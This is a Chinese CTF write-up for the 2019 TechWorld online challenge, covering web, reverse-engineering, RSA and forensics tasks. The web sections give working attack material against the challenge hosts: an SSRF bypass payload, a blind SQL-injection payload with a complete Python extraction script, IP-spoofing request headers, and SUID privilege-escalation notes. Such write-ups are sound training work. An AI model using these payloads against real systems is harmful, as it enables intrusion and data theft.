2019TechWorld 线上挑战赛 部分Writeup

本文首发于t00ls

image.png-198kB


赛后感想:比赛时间24个小时,也是体验了一把熬夜做题的快感,除了有些题目脑洞以及分数设置有些bug外,整体还是很不错的一次练习


WEB

0x01 web1

经过目录扫描发现存在.DS_Store泄漏

能读到目录结构,发现其中有.git目录

image.png-22.1kB

尝试用.git泄漏工具再次获取敏感信息

image.png-38.3kB

直接查看git log 即可发现flag!

image.png-40.6kB

0x02 web2

题目泄露了源码和dockerfile,可以在dockerfile中获取到flag的存放目录,而且可以在github中能够下载到题目的源代码

[http://39.106.184.130:8086/root/MyProject]

image.png-135.9kB

分析发现题目使用了php的curl函数,也是最近遇到的赛题中出现比较多的形式

php在使用curl_exec函数时,调用顺序不当会存在SSRF漏洞,我们可以通过下面的payload进行绕过:

http://localhost/web/test/22.php?url=0://evil$baidu.com

这样可以绕过检测,达到请求任意ip,任意端口的目的
具体的原理解析以及达到反弹shell的效果,表哥们可以移步到这里查看:

https://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/

https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

基于本题,构造payload:

http://39.106.184.130:8085/index.php?url=file://39.106.184.130:8085/flag.txt&pass=ctfun

即可获得payload

image.png-22.8kB

0x03 web3

image.png-134.5kB

发现存在git目录,是Struts2的网站,使用漏洞测试工具进行扫描(文末附工具链接):

image.png-19.5kB

发现存在代码执行漏洞,借助工具进行目录探测

image.png-17.6kB

发现根目录下存在flag.txt,但是没有读取的权限,比赛时反弹shell没有成功,查看
版本还是比较高的版本,脏牛无法提权,上传的文件也是403,这时就猜想应该不是让我们直接提权,应该是让我们使用某些可以解析为root用户的命令,上网查了一下关于这方面的知识,最后测试发现可以使用可执行文件SUID进行提权,简单来说就是一些命令在执行的过程中,linux默认用户为root,从而达到获取权限的目的

原理解析:

https://www.anquanke.com/post/id/86979

最后查看发现可以通过使用tac命令查看flag.txt

image.png-3.7kB

0x04 web5

一道sql注入题目,检测发现比较符号如:“<”、“>”、“=”以及like都被过滤,ascii函数也被过滤,最后测试发现table、column也被过滤
like以及比较符号最后使用了regexp函数绕过,ascii码使用了hex函数替换,当时做题的时候知道table、和column被绕过了,就想着想查一下数据库,结果数据库名就是flag….
赛后交流,有些师傅说直接尝试

select flag from flag

也能出来….真的是经验把

payload:

[http://39.106.184.130:8082/index.php?id=2](http://39.106.184.130:8082/index.php?id=2)^(hex(substr(database(),1,1)) regexp '^64$')

exp:

# encoding=utf8
import requests
import time

a = [
    '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32',
    '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44',
    '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56',
    '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68',
    '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '2A',
    '3A', '4A', '5A', '6A', '7A', '2B', '3B', '4B', '5B', '6B', '7B', '2C',
    '3C', '4C', '5C', '6C', '7C', '2D', '3D', '4D', '5D', '6D', '7D', '2E',
    '3E', '4E', '5E', '6E', '7E', '2F', '3F', '4F', '5F', '6F', '7F'
]

b = ""

url = "http://39.106.184.130:8082/index.php?id=1^"

for i in range(1, 33):
    for j in a:
        payload = "(hex(substr(database(),%s,1)) regexp '^%s$')" % (str(i), str(j))
        re = requests.get(url+payload)
        # print(url+payload)
        # time.sleep(0.1)
        # print(re.text)
        if "一个字,干" in re.text:
            b = b + chr(int(j, 16))
            print(b)
            break

0x05 web6

根据提示,修改请求头,添加Client-I:127.0.0.1,发送请求即获得flag。

简单的IP伪造…

image.png-47.7kB

附上常用的几个伪造本地IP的payload:

x-forwarded-for:127.0.0.1 
client-ip:127.0.0.1
x-client-ip:127.0.0.1
hosts:localhost

RE

0x01 Crackme_Middle

进入IDA

image.png-47.5kB

分析代码 ,发现只有让v3等于1输入才正确
进入sub_401258

image.png-37.8kB

判断输入,能得到有效得输入长度是16位,其他的就进行输入判断,不管,最后得flag一定满足这个判断,所以不用看懂
进入sub_4012A9

image.png-56.6kB

进入两个函数,第一个函数是生成一个key
第二个是将key和我们得输入进行一顿操作
进入第二个函数

image.png-43.9kB

发现只是将我们得输入和生成得index1,index2,index3进行了一个加减,所以这里直接动调

image.png-20.1kB

断在这个,然后每次看dl寄存器的值就OK了
最后将得到的值加上下面这一顿数据

image.png-27.3kB

就出来flag了

image.png-19.4kB

Crypto

0x01 rsa

n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
m=???

发现n分解出来三个素数,使用中国剩余定理解题,脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from sage.all import *

n=703739435902178622788120837062252491867056043804038443493374414926110815100242619
e=59159
c=449590107303744450592771521828486744432324538211104865947743276969382998354463377


n = 703739435902178622788120837062252491867056043804038443493374414926110815100242619
a = 810971978554706690040814093
b = 782758164865345954251810941
c = 1108609086364627583447802163
e = 59159
phi = (a-1)*(b-1)*(c-1)
ne = 0
while phi % (e**(ne+1)) == 0:
  ne += 1
print "ne = ", ne
d = long(1/Mod(e,phi/e**ne))
print "d = ", d

cipher = 449590107303744450592771521828486744432324538211104865947743276969382998354463377
plain_pow_ene = pow(cipher,d*e**ne,n)
print plain_pow_ene
cases = []
for p in [a,b,c]:
  cases.append(Mod(plain_pow_ene%p,p).nth_root(e**ne,all=True))
print "Start solving"
for ar in map(long,Mod(plain_pow_ene%a,a).nth_root(e**ne,all=True)):
  for br in map(long,Mod(plain_pow_ene%b,b).nth_root(e**ne,all=True)):
    for cr in map(long,Mod(plain_pow_ene%c,c).nth_root(e**ne,all=True)):
      x = crt([ar,br,cr],[a,b,c])
      print hex(x)
      s = hex(x)
      if len(s)%2==1:
        s = "0" + s
      print s.decode("hex")

结果如下:

  not execute Python code from this directory
ne =  0
d =  362843528015826034116250472435616782986296050195278657613571087702035376387404519
706900059474687415234977372280974474387136281736704352050012391399307133
Start solving
sys:1: DeprecationWarning: use the method .hex instead
See https://trac.sagemath.org/26756 for details.
666c61677b3165323537623339613235633661376334643636653139377d
flag{1e257b39a25c6a7c4d66e197} 

MISC

0x02 Naruto

先stegdetect,

image.png-29.7kB

image.png-65.8kB

image.png-78.2kB

flag{jphid_is_good}

0x03 Log analysis

分析日志文件:

image.png-719.3kB

初步分析发现日志中存在目录扫描和sql盲注,通过grep语法获得sql注入日志

image.png-17.1kB

分析sql注入语句可得到flag的ascii编码,统一进行转换即可获得flag

image.png-274.2kB

image.png-32.4kB

0x05 FindMe

下载文件之后file
image.png-15.6kB

binwalk

image.png-53.9kB

作为硬盘镜像写入U盘,得到9张二维码碎片,信息为:

 Here is the AES key to decrypt our secret, please remember it carefully: "7h3
_s3cR37_k3Y!!"!

image.png-248kB

一个txt文档,内容为:

I've decoded your audio message and decrypted your secret. I deleted it so that no one could know lol

根据这篇文章提取出wav文件:

https://martinmelhus.com/squarectf-2017-writeup/

修复wav文件:

image.png-267.2kB

打开后发现是摩斯电码,解码后为:

RFIE4RYNBINAUAAAAAGUSSCEKIAAAABIAAAAANIIAYAAAABTW2USQAAAAT4ESRCBKRUEH3KZJ4UHI2YYP7HJTYKKSISFSSNSXGXCISMSEQF4SQQWWKIIKJCJWKZJAJGJJKJCISMSQUWKZLBELFNUTLRLBPL3LEEFLS7CJH5LGFZ453PXTR455XQZM6OJT6PGLPONW6LL436HTX7XPF74737Z6P7DTBTF3G3ECRBW3FSJAQLYGBWJXSBQBALTF6APGWSAVX5CEFYRX3TPIT56XTZW4QNGIGFWNKD5MISJ6VJS7IQCLG6DHPTB3GLAYB3JMQNQMY3CYCDECH7BGBSQLATELEITETMTFTN2N4CHTCBFSALON4CEZRXNFAEX24BHRJCQDWTWKRYYGIUWYXKWMADAUSRUGAGGOZADAPSHRRSQGJ7UOQFN6MILRZIH4FYRUEHJQSAEBVWAVGBGPX774D75OX6SP7P6Y44T37P5IRH57PSRJFEQTFMXS5J6K357KJUWSKJLDT5AQULW2YXYUPO3WLEDATMWEPFCSSZZDCRQALMHIGXWEWIW4ELQYBVZ5HB4GA5NV6X5HXW6D2OZ5HV2OYXSYLFEY3DEMGQ6D2TI5DQONYJQ5B4VBSXTCHIGSMCKQC663DMKBONZHG5L3PLVZRSZVDXZFWF26ASEA7INLVKF6PZ7GVCRKEI5HTQLUQTUADBKEAPB6H3JOJZJEACQ33QSU3O4AYJ7AUAQMZPVSWNB633PNJCBEYCRBA54X27FE53XG4OR4HVSRF2JGNZXG4JX4VKVKX6D4FAK2HI5CEI5DQONB7P5HXR45TWO4333TONZWS23LRNS4KFW4ANJ6MCCRZQ2DINGFQLCJK6G62DIMBJ3PNVWXJNOV3XOR3V6DKZIKAGEYFQXC6Z2FVOV2WVJ6G5YUR6XAZ3HQ75PV6UYAUEMEIDNNVW3JO53JP47T6OKLR4C6JUHEJ4M5SOJUGCYKBM2TCMFAABBANFO337PWNGL2T54U2PAZQXPCCE5PV6XRI6TYI32ROFIUGEENCXQPS737O5YUVUADAPR7J6FYVCRKRHIANPR4GAYJAO2ATXX43T#DIOBYVMCAAB6O2LJNFI4CIMQ5PTFEE2NZ7HM53ASUIURLK5LVOR6HY3D4TJG44QSGMUZDWO33LFKNFOT3HMMT3FBYHU6CVUIAHDAHH4ZTGQ5TWKZMQETAC4BWW23KCNTZQTIDEXOEUNJAGYQRDROCSITEMRCFS5MRGO5U3OFSOJBE2TKNNRMIJGY23LNOCAATCUHYA5JUYH

One thought on “2019TechWorld 线上挑战赛 部分Writeup”

发表评论

电子邮件地址不会被公开。 必填项已用*标注